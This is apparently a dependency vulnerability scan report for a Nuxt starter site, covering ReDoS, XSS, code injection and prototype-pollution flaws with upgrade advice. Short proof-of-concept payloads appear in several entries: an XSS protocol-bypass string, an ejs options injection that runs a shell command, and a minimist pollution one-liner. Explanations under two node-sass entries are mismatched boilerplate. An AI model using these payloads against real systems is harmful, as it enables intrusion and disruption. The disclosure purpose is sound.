  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack-bundle-analyzer@2.13.1 › ws@4.1.0
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack-bundle-analyzer@2.13.1 › ws@4.1.0
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

##PoC

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ws to version 7.4.6, 6.2.2, 5.2.3 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Denial of Service (DoS)

  • Vulnerable module: mem
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › yargs@8.0.2 › os-locale@2.1.0 › mem@1.1.0
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › yargs@8.0.2 › os-locale@2.1.0 › mem@1.1.0
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

Overview

mem is an optimization used to speed up consecutive function calls by caching the result of calls with identical input.

Affected versions of this package are vulnerable to Denial of Service (DoS). Old results were deleted from the cache and could cause a memory leak.

details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade mem to version 4.0.0 or higher.

References

Denial of Service (DoS) vulnerability report

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: nuxt
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5
    Remediation: Upgrade to nuxt@3.12.4.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to improper handling of URL inputs in the navigateTo function. An attacker can execute arbitrary script code by inserting specially crafted payloads into the URL that bypass the protocol checks.

Note

This is only exploitable if server-side rendering (SSR) has occurred; the javascript: protocol within a location header does not trigger XSS.

PoC


<template>
  <div>
    <button @click="trigger">Click me for XSS!</button>
  </div>
</template>

<script setup lang="ts">
const r = useRoute();

// This payload doesn't work
const x = 'javascript:alert(1)';

// This one does!
const y = 'java\nscript:alert(1)';

async function trigger() {
  await navigateTo(y, { external: true });
}
</script>

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade nuxt to version 3.12.4 or higher.

References

Cross-site Scripting (XSS) vulnerability report

medium severity

NULL Pointer Dereference

  • Vulnerable module: node-sass
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to NULL Pointer Dereference via Sass::Parser::parseCompoundSelectorin parser_selectors.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Remediation

There is no fixed version for node-sass.

References

NULL Pointer Dereference vulnerability report

medium severity

Out-of-bounds Read

  • Vulnerable module: node-sass
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-bounds Read via Sass::weaveParents in ast_sel_weave.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for node-sass.

References

Out-of-bounds Read vulnerability report

medium severity

Uncontrolled Recursion

  • Vulnerable module: node-sass
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Uncontrolled Recursion via Sass::Eval::operator()(Sass::Binary_Expression*) in eval.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for node-sass.

References

Uncontrolled Recursion vulnerability report

medium severity

Exposure of Sensitive Information to an Unauthorized Actor

  • Vulnerable module: phin
  • Introduced through: @nuxtjs/pwa@0.2.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/icon@3.0.0-beta.16 › jimp@0.6.8 › @jimp/custom@0.6.8 › @jimp/core@0.6.8 › phin@2.9.3

Overview

phin is a The ultra-lightweight Node.js HTTP client

Affected versions of this package are vulnerable to Exposure of Sensitive Information to an Unauthorized Actor due to the handling of HTTP headers during redirects when followRedirects is enabled. An attacker can potentially intercept sensitive information by exploiting how headers are included in outgoing requests after a redirect.

Remediation

Upgrade phin to version 3.7.1 or higher.

References

Exposure of Sensitive Information to an Unauthorized Actor vulnerability report

medium severity

Arbitrary Code Injection

  • Vulnerable module: ejs
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack-bundle-analyzer@2.13.1 › ejs@2.7.4
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack-bundle-analyzer@2.13.1 › ejs@2.7.4
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the render and renderFile. If external input is flowing into the options parameter, an attacker is able run arbitrary code. This include the filename, compileDebug, and client option.

POC

let ejs = require('ejs')
ejs.render('./views/test.ejs',{
    filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
    compileDebug: true,
    message: 'test',
    client: true
})

Remediation

Upgrade ejs to version 3.1.6 or higher.

References

Arbitrary Code Injection vulnerability report

low severity

Prototype Pollution

  • Vulnerable module: minimist
  • Introduced through: nuxt@1.4.5, @nuxtjs/axios@3.1.4 and others

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › opencollective@1.0.3 › minimist@1.2.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › opencollective@1.0.3 › minimist@1.2.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/icon@3.0.0-beta.16 › jimp@0.6.8 › @jimp/custom@0.6.8 › @jimp/core@0.6.8 › mkdirp@0.5.1 › minimist@0.0.8

Overview

minimist is a parse argument options module.

Affected versions of this package are vulnerable to Prototype Pollution due to a missing handler to Function.prototype.

Notes:

  • This vulnerability is a bypass to CVE-2020-7598

  • The reason for the different CVSS between CVE-2021-44906 to CVE-2020-7598, is that CVE-2020-7598 can pollute objects, while CVE-2021-44906 can pollute only function.

PoC by Snyk

require('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));
console.log((function(){}).foo); // bar

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade minimist to version 0.2.4, 1.2.6 or higher.

References

Prototype Pollution vulnerability report

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: tar
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to node-sass@5.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). When stripping the trailing slash from files arguments, the f.replace(/\/+$/, '') performance of this function can exponentially degrade when f contains many / characters resulting in ReDoS.

This vulnerability is not likely to be exploitable as it requires that the untrusted input is being passed into the tar.extract() or tar.list() array of entries to parse/extract, which would be unusual.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade tar to version 6.1.4, 5.0.8, 4.4.16 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: @vue/compiler-sfc
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › vue@2.7.16 › @vue/compiler-sfc@2.7.16
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › vue@2.7.16 › @vue/compiler-sfc@2.7.16
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

Overview

@vue/compiler-sfc is a @vue/compiler-sfc

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the parseHTML function in html-parser.ts. An attacker can cause the application to consume excessive resources by supplying a specially crafted input that triggers inefficient regular expression evaluation.

PoC

Within Vue 2 client-side application code, create a new Vue instance with a template string that includes a <script> node tag that has a different closing tag (in this case </textarea>).

new Vue({
  el: '#app',
  template: '
<div> 
   Hello, world!
   <script>${'<'.repeat(1000000)}</textarea>
</div>'
});

Set up an index.html file that loads the above JavaScript and then mount the newly created Vue instance with mount().

<!DOCTYPE html>
<html>
<head>
  <title>My first Vue app</title>
</head>
<body>
  <div id="app">
    Loading..
  </div>
</body>
</html>

In a browser, visit your Vue application

http://localhost:3000

In the browser, observe how the ReDoS vulnerability is able to increase the amount of time it takes for the page to parse the template and mount your Vue application. This demonstrates the ReDoS vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade @vue/compiler-sfc to version 3.0.0-alpha.0 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: vue
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › vue@2.7.16
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › vue@2.7.16
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

Overview

vue is an open source project with its ongoing development made possible entirely by the support of these awesome backers.

